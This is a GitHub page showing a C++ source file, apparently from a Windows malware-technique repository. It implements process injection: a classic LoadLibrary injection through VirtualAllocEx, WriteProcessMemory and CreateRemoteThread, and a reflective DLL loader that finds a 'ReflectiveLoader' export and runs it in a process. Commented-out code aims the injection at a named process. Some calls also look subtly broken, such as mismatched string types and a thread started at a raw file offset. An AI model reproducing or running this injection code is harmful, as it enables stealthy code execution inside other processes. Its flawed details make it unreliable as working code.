-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathdll_injection_reflective.cpp
260 lines (199 loc) · 8.98 KB
/
dll_injection_reflective.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
static const int PATH_BUFFER_SIZE = 256;
DWORD getProcessId(const wchar_t* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(hSnapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, processName) != 0) {
Process32Next(hSnapshot, &processEntry);
}
}
return processEntry.th32ProcessID;
}
void LoadByDllPath() {
const wchar_t processName[] = L"Bginfo64.exe";
/*
DWORD processId = getProcessId(processName);
if (!processId) {
printf("[x] Cannot find process %s\n", processName);
exit(1);
}
printf("[*] PID = %d\n", processId);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processId);
if (hProcess == NULL) {
printf("[x] Cannot open process with id %d\n", processId);
exit(1);
}
*/
/*
HANDLE hProcess = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, processName) != 0) {
Process32Next(snapshot, &processEntry);
}
}
DWORD processId = processEntry.th32ProcessID;
printf("[*] PID = %d\n", processId);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processId);
*/
HANDLE hProcess = NULL;
DWORD processId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
//const wchar_t dllLibFullPath[] = L"C:\\Users\\Hank Chen\\Desktop\\windows_malware_technique\\Dll_Template\\x64\\Release\\Dll_Template.dll";
wchar_t dllLibFullPath[0x100] = { 0 };
GetFullPathNameW(L"amsi.dll",
0x100,
dllLibFullPath, //Output to save the full DLL path
NULL);
wprintf(L"[*] DLL library %s was successfully found\n", dllLibFullPath);
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, wcslen(dllLibFullPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (dllAllocatedMemory == NULL) {
printf("[x] Cannot allocade memory for DLL-library\n");
exit(1);
}
printf("[*] Allocated %d bytes at %#08x region\n", wcslen(dllLibFullPath), dllAllocatedMemory);
if (!WriteProcessMemory(hProcess, dllAllocatedMemory, dllLibFullPath, wcslen(dllLibFullPath) + 1, NULL)) {
printf("[x] Cannot write process memory\n");
exit(1);
}
LPVOID loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle((LPCWSTR)"kernel32.dll"), "LoadLibraryA");
printf("[*] Starting remote thread at process %s(PID = %d)\n", processName, processId);
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibrary,
dllAllocatedMemory, 0, NULL);
if (remoteThreadHandler == NULL) {
printf("[-] Cannot create remote thread in process with id %d\n", processId);
exit(1);
}
CloseHandle(hProcess);
}
#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec( dllexport )
DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress)
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
if (dwRva < pSectionHeader[0].PointerToRawData)
return dwRva;
for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++)
{
if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData))
return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
}
return 0;
}
DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer)
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// currenlty we can only process a PE file which is the same type as the one this fuction has
// been compiled as, due to various offset in the PE structures being defined at compile time.
if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32
{
if (dwCompiledArch != 1)
return 0;
}
else if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64
{
if (dwCompiledArch != 2)
return 0;
}
else
{
return 0;
}
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);
// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);
// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress);
// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;
// loop through all the exported functions to find the ReflectiveLoader
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress));
if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL)
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress);
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
void LoadByFullDll() { // reflecting load dll
HANDLE hProcess = NULL;
HANDLE hFile = NULL;
DWORD dllFileLength = 0;
DWORD processId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
const wchar_t dllLibFullPath[] = L"C:\\Users\\Hank Chen\\Desktop\\windows_malware_technique\\Dll_Template\\x64\\Release\\Dll_Template.dll";
wprintf(L"[*] DLL library %s was successfully found\n", dllLibFullPath);
hFile = CreateFileA((LPCSTR)dllLibFullPath,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
dllFileLength = GetFileSize(hFile,
NULL);
LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dllFileLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpRemoteLibraryBuffer == NULL) {
printf("[x] Cannot allocade memory for DLL-library\n");
exit(1);
}
LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, dllFileLength);
DWORD dwBytesRead = 0;
ReadFile(hFile, lpBuffer, dllFileLength, &dwBytesRead, NULL);
WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dllFileLength, NULL);
DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpRemoteLibraryBuffer);
HANDLE rThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwReflectiveLoaderOffset, 0, 0, NULL);
WaitForSingleObject(rThread, INFINITE);
}
int main() {
//LoadByFullDll();
LoadByDllPath();
return 0;
}